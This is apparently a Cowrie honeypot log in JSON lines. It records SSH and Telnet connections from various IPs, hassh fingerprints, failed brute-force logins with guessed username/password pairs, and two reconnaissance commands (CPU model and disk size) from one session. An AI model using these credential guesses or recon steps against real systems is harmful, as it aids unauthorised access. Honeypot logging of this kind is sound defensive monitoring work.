{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.668782Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.822062Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.825192Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.032048Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":54110,"dst_ip":"10.17.0.5","dst_port":22,"session":"98a5b88656ea","protocol":"ssh","message":"New connection: 160.251.185.39:54110 (10.17.0.5:22) [session: 98a5b88656ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.111157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.115110Z","src_ip":"160.251.185.39","session":"98a5b88656ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.183179Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.185980Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.288810Z","src_ip":"160.251.185.39","session":"98a5b88656ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.294856Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:36.298990Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"we123456.","message":"login attempt [root/we123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:37.019570Z","src_ip":"160.251.185.39","session":"98a5b88656ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:38.196369Z","src_ip":"160.251.185.39","session":"98a5b88656ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":53342,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f61d4d7ed75","protocol":"ssh","message":"New connection: 189.203.163.10:53342 (10.17.0.5:22) [session: 4f61d4d7ed75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:51.903474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:51.909995Z","src_ip":"189.203.163.10","session":"4f61d4d7ed75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:51.972476Z","src_ip":"189.203.163.10","session":"4f61d4d7ed75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sss","password":"sss","message":"login attempt [sss/sss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:52.253106Z","src_ip":"189.203.163.10","session":"4f61d4d7ed75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:53.318461Z","src_ip":"189.203.163.10","session":"4f61d4d7ed75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7d016de1cbe","protocol":"ssh","message":"New connection: 201.17.146.173:40100 (10.17.0.5:22) [session: e7d016de1cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:03.839973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:03.845936Z","src_ip":"201.17.146.173","session":"e7d016de1cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:04.142249Z","src_ip":"201.17.146.173","session":"e7d016de1cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uruguay","password":"uruguay123","message":"login attempt [uruguay/uruguay123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:04.803186Z","src_ip":"201.17.146.173","session":"e7d016de1cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:05.952349Z","src_ip":"201.17.146.173","session":"e7d016de1cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":41740,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c3bec77828","protocol":"ssh","message":"New connection: 76.79.213.69:41740 (10.17.0.5:22) [session: d3c3bec77828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:26.023968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:26.028459Z","src_ip":"76.79.213.69","session":"d3c3bec77828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:26.150271Z","src_ip":"76.79.213.69","session":"d3c3bec77828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vignesh","password":"vignesh","message":"login attempt [vignesh/vignesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:26.672654Z","src_ip":"76.79.213.69","session":"d3c3bec77828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:27.797932Z","src_ip":"76.79.213.69","session":"d3c3bec77828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":35514,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba93e004b80","protocol":"ssh","message":"New connection: 79.104.0.82:35514 (10.17.0.5:22) [session: eba93e004b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:31.666855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:31.671378Z","src_ip":"79.104.0.82","session":"eba93e004b80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:31.826389Z","src_ip":"79.104.0.82","session":"eba93e004b80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"codereview","password":"123456","message":"login attempt [codereview/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:32.467131Z","src_ip":"79.104.0.82","session":"eba93e004b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:36:33.625024Z","src_ip":"79.104.0.82","session":"eba93e004b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56512,"dst_ip":"159.203.135.109","dst_port":23,"session":"2698f8ac2aa3","protocol":"telnet","message":"New connection: 172.81.62.90:56512 (159.203.135.109:23) [session: 2698f8ac2aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:18.079276Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56516,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a5f21ae1fa0","protocol":"telnet","message":"New connection: 172.81.62.90:56516 (159.203.135.109:23) [session: 4a5f21ae1fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:20.896482Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":38736,"dst_ip":"10.17.0.5","dst_port":22,"session":"cff0675780e7","protocol":"ssh","message":"New connection: 5.89.75.194:38736 (10.17.0.5:22) [session: cff0675780e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:22.960875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:22.965172Z","src_ip":"5.89.75.194","session":"cff0675780e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:23.066115Z","src_ip":"5.89.75.194","session":"cff0675780e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ljd","password":"123456","message":"login attempt [ljd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:23.506696Z","src_ip":"5.89.75.194","session":"cff0675780e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:24.611667Z","src_ip":"5.89.75.194","session":"cff0675780e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":59688,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b522cc5641","protocol":"ssh","message":"New connection: 160.251.185.39:59688 (10.17.0.5:22) [session: b4b522cc5641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:27.681218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:27.686728Z","src_ip":"160.251.185.39","session":"b4b522cc5641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:27.874527Z","src_ip":"160.251.185.39","session":"b4b522cc5641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux","message":"login attempt [ubuntu/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:28.658238Z","src_ip":"160.251.185.39","session":"b4b522cc5641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:29.847384Z","src_ip":"160.251.185.39","session":"b4b522cc5641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.54093337059021,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:51.620050Z","src_ip":"172.81.62.90","session":"2698f8ac2aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.46966075897217,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:37:59.365768Z","src_ip":"172.81.62.90","session":"4a5f21ae1fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49680,"dst_ip":"159.203.135.109","dst_port":23,"session":"c838dd667c1b","protocol":"telnet","message":"New connection: 107.6.151.170:49680 (159.203.135.109:23) [session: c838dd667c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:01.409724Z"}
{"eventid":"cowrie.session.closed","duration":0.011149883270263672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:38:01.420729Z","src_ip":"107.6.151.170","session":"c838dd667c1b","protocol":"telnet"}
